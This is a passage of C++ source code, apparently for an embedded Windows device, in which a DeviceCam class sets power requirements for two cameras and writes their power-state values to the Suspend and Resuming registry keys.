    *hCam = SetPowerRequirement(wString, D0, POWER_NAME | POWER_FORCE, NULL, 0);

    if (*hCam == 0)
        return FALSE;

    return TRUE;
}

BOOL DeviceCam::SetCam1PowerState()
{
    return SetCamPowerState(&hCam1, L"CAM1");
}

BOOL DeviceCam::SetCam2PowerState()
{
    return SetCamPowerState(&hCam2, L"CAM2");
}

VOID DeviceCam::SetRegPowerStatus(wstring camName)
{
    LRESULT lr;
    HKEY hkResult = NULL;
    wstring wsBaseKeySuspend(L"System\\CurrentControlSet\\Control\\Power\\State\\Suspend");
    wstring wsBaseKeyResuming(L"System\\CurrentControlSet\\Control\\Power\\State\\Resuming");
    DWORD cbData = sizeof(DWORD), dwValue = 0;

    lr = RegOpenKeyExW(HKEY_LOCAL_MACHINE, wsBaseKeySuspend.c_str(), 0, KEY_WRITE , &hkResult);
    if (lr == ERROR_SUCCESS) {
        lr = RegSetValueEx(hkResult,
                            camName.c_str(),
                            0,
                            REG_DWORD,
                            (BYTE*) &dwValue,
                            cbData);
        RegCloseKey(hkResult);
    }
        
    lr = RegOpenKeyExW(HKEY_LOCAL_MACHINE, wsBaseKeyResuming.c_str(), 0, KEY_WRITE , &hkResult);
    if (lr == ERROR_SUCCESS) {
        lr = RegSetValueEx(hkResult,
            camName.c_str(),
            0,
            REG_DWORD,
            (BYTE*) &dwValue,
            cbData);
        RegCloseKey(hkResult);
    }    
}